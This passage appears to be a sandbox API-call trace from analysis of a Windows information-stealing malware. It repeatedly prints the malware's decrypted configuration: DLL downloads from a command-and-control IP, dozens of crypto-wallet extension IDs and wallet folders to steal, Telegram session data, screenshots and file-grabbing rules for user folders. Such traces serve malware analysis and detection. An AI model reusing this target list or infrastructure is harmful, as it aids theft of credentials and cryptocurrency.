Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.256] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6ef5a0 [0266.256] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.256] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f1ee8 [0266.256] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.256] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f4830 [0266.256] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.256] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f7178 [0266.256] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.256] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f9ac0 [0266.256] lstrlenW (lpString="elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension 